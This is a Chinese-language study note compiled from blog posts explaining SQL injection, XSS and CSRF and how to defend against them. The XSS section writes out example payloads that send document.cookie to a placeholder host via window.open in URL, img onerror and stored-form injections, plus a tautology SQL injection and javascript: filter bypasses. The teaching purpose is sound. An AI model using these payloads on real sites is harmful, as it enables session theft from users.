一、什么是sql注入攻击，如何避免？
原文链接：https://blog.csdn.net/Darkjazz11/article/details/86535904
（1）SQL注入攻击
定义：以用户或者外部的输入动态构造SQL查询的命令，将可能改变SQL查询语句本来的语义，从而导致执行任意的SQL命令，泄露或者篡改SQL数据库的敏感数据。
基本例子：
原sql：
String name = request.getParameter("name");
ResultSet rs = conn.createStatement().executeQuery("SELECT Data FROM Users WHERE Name = '"+name+"'");篡改后：
ResultSet rs = conn.createStatement().executeQuery("SELECT Data FROM Users WHERE Name = ‘joe’ or ‘1’ = ‘1’");（2）有操作风险的API函数
–Statement.execute*
–PreparedStatement.execute*
–CallableStatement.execute*
–JdbcTemplate.query*
–JdbcTemplate.insert
–JdbcTemplate.update
–JdbcTemplate.delete
–JdbcTemplate.execute
–Session.createQuery
– Session.createSQLQuery
–Session.createFilter"
（3）防治思想
- 输入校验：做好规范的校验工作，比如搜索框不能输入sql语句等；
- 权限控制：在创建一个SQL数据库的用户帐户时，要遵循最低权限法则。用户应只拥有使用其帐户的必要的最低特权。如果系统显示需要用户可以读取和修改自己的数据，那么应该限制其特权，使他们无法读取/编写别人的数据。
- 重复校验：在服务器端重复客户端所进行的所有过滤。（黑名单验证和白名单验证）
例子：
public static void main(String[] args) throws IOException {
String regex = "^[0-9\\-\\. ]+$";
Pattern p = Pattern.compile(regex);
for (int i=0; i < args.length; i++) {
String num = args[i].trim();
Matcher m = p.matcher(num);
if (m.matches()) {
dialNumber(num);
} else {
System.out.println("Not a valid phone number.");
}
}
}- 动态参数：应使用prepared statements语句绑定变量来执行SQL字符串。没有使用prepared statements语句绑定变量可能很容易受到攻击。
使用严格的白名单型来检查可以用于SOL命令的所有用户输入数据。而不是避开元字符集，完全禁止元字符才是最安全的。原因是：后期对已经被输入数据库的数据进行使用可能将之前使用过的元字符丢弃。应该对request中期望的安全的字符集进行更为精细地定义。
二、什么是 XSS 攻击，如何避免？
原文链接：https://blog.csdn.net/meism5/article/details/90414134
什么是XSS攻击：
XSS 攻击，即跨站脚本攻击（Cross Site Scripting），实际上是CSS，但是与样式表文件同名，所以是XSS。它是 web 程序中常见的漏洞。
原理：
攻击者往 web 页面里插入恶意的 HTML 代码（Javascript、css、html 标签等），当用户浏览该页面时，嵌入其中的 HTML 代码会被执行，从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作，破坏页面结构、重定向到其他网站等。
种类：
（1）DOM Based XSS：基于网页 DOM 结构的攻击
例如：
- input 标签 value 属性赋值
//jsp
<input type="text" value="<%= getParameter("content") %>">访问
http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script> //弹出 XSS 字样
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script> //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站- 利用 a 标签的 href 属性的赋值
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳转...</a>访问
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS') //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS') //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS') //点击 a 标签就会弹出 XSS 字样- image 标签 src 属性，onload、onerror、onclick 事件中注入恶意代码
<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />2、Stored XSS：存储式XSS漏洞
<form action="save.do">
<input name="content" value="">
</form>输入 <script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>，提交
当别人访问到这个页面时，就会把页面的 cookie 提交到 xxx.aaa.xxx，攻击者就可以获取到 cookie
预防思路
- web 页面中可由用户输入的地方，如果对输入的数据转义、过滤处理，后台输出页面的时候，也需要对输出内容进行转义、过滤处理（因为攻击者可能通过其他方式把恶意脚本写入数据库）
- 前端对 html 标签属性、css 属性赋值的地方进行校验
注意：
各种语言都可以找到 escapeHTML() 方法可以转义 html 字符。
<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>
转义后
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22+document.cookie%29%3C/script%3E需要考虑项目中的一些要求，比如转义会加大存储。可以考虑自定义函数，部分字符转义。
三、什么是 CSRF 攻击，如何避免
原文链接：https://www.jianshu.com/p/43a9c5fd266c
（1）CSRF及其原理
CSRF (Cross Site Request Forgery)攻击，中文名：跨站请求伪造。
其原理是攻击者构造网站后台某个功能接口的请求地址，诱导用户去点击或者用特殊方法让该请求地址自动加载。用户在登录状态下这个请求被服务端接收后会被误以为是用户合法的操作。对于 GET 形式的接口地址可轻易被攻击，对于 POST 形式的接口地址也不是百分百安全，攻击者可诱导用户进入带 Form 表单可用POST方式提交参数的页面。
CSRF攻击是源于WEB的隐式身份验证机制，WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的。
对于CSRF的防御也分为服务端防御与客户端防御，服务端防御典型的譬如给某个页面添加随机数，使得无法从第三方页面直接提交。在客户端防御的话可以利用譬如Firefox提供的一些检查工具。
（2）CSRF漏洞检测
抓取一个正常请求的数据包，去掉Referer字段后再重新提交，如果该提交还有效，那么基本上可以确定存在CSRF漏洞。
也可以使用专门针对CSRF漏洞进行检测的工具，如CSRFTester，CSRF Request Builder等。
以CSRFTester工具为例，CSRF漏洞检测工具的测试原理如下：使用CSRFTester进行测试时，首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息，然后通过在CSRFTester中修改相应的表单等信息，重新提交，这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受，则说明存在CSRF漏洞，当然此款工具也可以被用来进行CSRF攻击。
（3）防范措施： anti-csrf-token方案
目前防御 CSRF 攻击主要有三种策略：验证 HTTP Referer 字段；在请求地址中添加 token 并验证；在 HTTP 头中自定义属性并验证。
（4）验证 HTTP Referer 字段
服务端在收到路由请求时，生成一个随机数，在渲染请求页面时把随机数埋入页面（一般埋入 form 表单内）
服务端设置setCookie，把该随机数作为cookie或者session种入用户浏览器
当用户发送 GET 或者 POST 请求时带上 _csrf_token 参数（对于 Form 表单直接提交即可，因为会自动把当前表单内所有的 input 提交给后台，包括 _csrf_token ）
后台在接受到请求后解析请求的cookie获取 _csrf_token 的值，然后和用户请求提交的 _csrf_token 做个比较，如果相等表示请求是合法的。
这种方法的显而易见的好处就是简单易行，网站的普通开发人员不需要操心 CSRF 的漏洞，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统，不需要改变当前系统的任何已有代码和逻辑，没有风险，非常便捷。
然而，这种方法并非万无一失。Referer 的值是由浏览器提供的，虽然 HTTP 协议上有明确的要求，但是每个浏览器对于 Referer 的具体实现可能有差别，并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法，就是把安全性都依赖于第三方（即浏览器）来保障，从理论上来讲，这样并不安全。事实上，对于某些浏览器，比如 IE6 或 FF2，目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器，黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址，这样就可以通过验证，从而进行 CSRF 攻击。
扫一扫
2354
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
